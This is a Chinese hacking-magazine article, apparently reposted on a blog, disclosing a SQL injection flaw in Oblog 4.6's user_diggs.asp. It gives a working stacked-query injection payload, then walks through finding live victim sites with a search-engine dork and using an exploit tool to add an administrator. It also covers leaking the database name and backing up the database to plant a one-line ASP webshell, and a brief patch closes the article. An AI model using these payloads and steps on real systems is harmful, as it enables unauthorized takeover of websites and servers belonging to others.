惊爆Oblog4.6 的0day

此文章已发表在《***X档案》第11期杂志上
如需转载,请务必保留此信息!

作者:zj1244&竹子
   自从上次oblog的tb.asp和js.asp文件出现漏洞后,直至今日oblog都没有爆出什么安全问题,前些日子官方发布了4.6稳定版,趁着无聊下下来看看代码的安全性,没想到还真的发现了一些问题。后来联系了oblog的客服,可是在qq上验证了几次人家也没有理我,没办法,那就只能发出来了。
    我们先来简单分析一下漏洞的成因:漏洞出现在user_diggs.asp文件第304行左右,用Request获得topic的值,然后用oblog.InterceptStr处理后赋给topic。oblog.InterceptStr的作用只是截断字符而已,并没有过滤特殊字符。接着往下看,在第316行就直接把topic放到了SQL语句里进行了数据库操作,这样漏洞就形成了。4.6版的ACCESS和SQL 都存在这个问题,但是因为变量所在的SQL语句是update,所以我们并不能用union来联合暴出密码,唯一的方法就只有用“;”来执行多语句,而ACCESS并不支持多语句,因此漏洞只影响到SQL版本。
    接下来是小菜们最关心的问题:怎么利用这个漏洞。我们先注册一个用户随便发篇日志。然后到自己的首页去推荐这篇日志,就是在图中 “推荐”处点击一下。接着回到用户管理后台,点击常用菜单里的“推荐日志”,就会看到刚才我们推荐的日志,我们把鼠标放到“修改”上,会看到推荐日志的id,这里的id是2。接着点击“修改”,在摘要里写入下面这个语句:
     s’/**/Where/**/logid=2;update/**/oblog_user/**/set/**/useremail=’竹子’/**/where/**/username=’lovewin2k’;--
    这是一个简单的SQL语句,我对它稍做一些解释:其中的s’是为了和前面的’闭合。/**/是注释符,作用是用来代替空格。Logid=2中的2是刚才我们看到的日志id。然后用一个分号结束这一语句,接着是一个新的SQL语句,update/**/oblog_user/**/set/**/useremail=’竹子’/**/where/**/username=’lovewin2k’;--的意思是把oblog_user表里username等于lovewin2k的useremail更改为竹子。单击“确认修改”后提示修改成功。我们去验证一下,看看自己个人资料里的邮箱是不是真的被改成了竹子,可以看到确实已经被更改成了竹子。
     接下来我们在网上找个oblog实战一把,先说说如何查找4.6SQL版的oblog。我们先在百度里查找关键字“Copyright by oblog.cn”,然后随便打开一个blog,在主页后面添加ver.asp来查看版本,比如我在这里找的是 [url]http://www.xxx.cn[/url] ,那就应该通过 [url]http://www.xxx.cn[/url] 来查看当前oblog的版本。如果是SQL版的那我们就可以打开利用工具,在目标主机里填写blog主页的地址,如: [url]http://www.xxx.cn/index.html[/url] ,点击“浏览”并用注册的用户登录以获得cookie。然后在用户名和密码里填写你要添加的管理员名字和密码,我这里添加一个用户名是竹子,密码是123456的管理员,日志id填写你自己所推荐日志的id。单击“发送”提示发送成功。我们访问后台 [url]http://www.xxx.cn/admin/admin_login.asp[/url] ,尝试用刚刚添加的管理员登录后台,果然成功登录。
    我们当然不会仅仅满足于做个管理员,既然利用的版本是SQL的,那我们就直接用日志备份来获得webshell。单击后台里的“服务器组件配置”,如图9。在“站点物理地址”处可以看到网站的路径,记下来,等会备份的时候要把一句话***备份到这里,这里是:e:\wwwroot\zuliao\wwwroot。接着在工具的下拉框里选择“更新库名到Email”,“注册用户名字”填写你在blog里注册的用户名字,单击“发送”,我们去个人资料里看看Email里的内容吧!选择“综合设置”中的“用户设置”看到库名已经被更新到了Email里了,我这里获得的库名是sq_zuliao,如图10。继续在工具的下拉框选择“备份数据库获得shell”,然后在库名和路径分别填写刚才我们获得的sq_zuliao和e:\wwwroot\zuliao\wwwroot \test.asp,test.asp是你自己一句话***的文件名,单击“发送”,如图11。默认备份的一句话***是海洋的<%eval request("#")%>,我们用海洋客户端连接 [url]http://www.xxx.cn/test.asp[/url] 看看是否备份成功,可以看到我们已经成功获得了webshell,如图12。接下来该如何提升权限就看各位大显神通了。
关于如何修补漏洞的问题,把存在漏洞的语句
des = oblog.InterceptStr(RemoveHtml(Trim(Request("edit"))),255)
topic = oblog.InterceptStr(Trim(Request("topic")), 255)
替换成
des = oblog.filt_badstr (oblog.InterceptStr(RemoveHtml(Trim(Request("edit"))),255))
topic = oblog.filt_badstr (oblog.InterceptStr(Trim(Request("topic")), 255))
就可以了。
文章的最后,要感谢竹子同学在写作过程中给与本人的大力指导。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值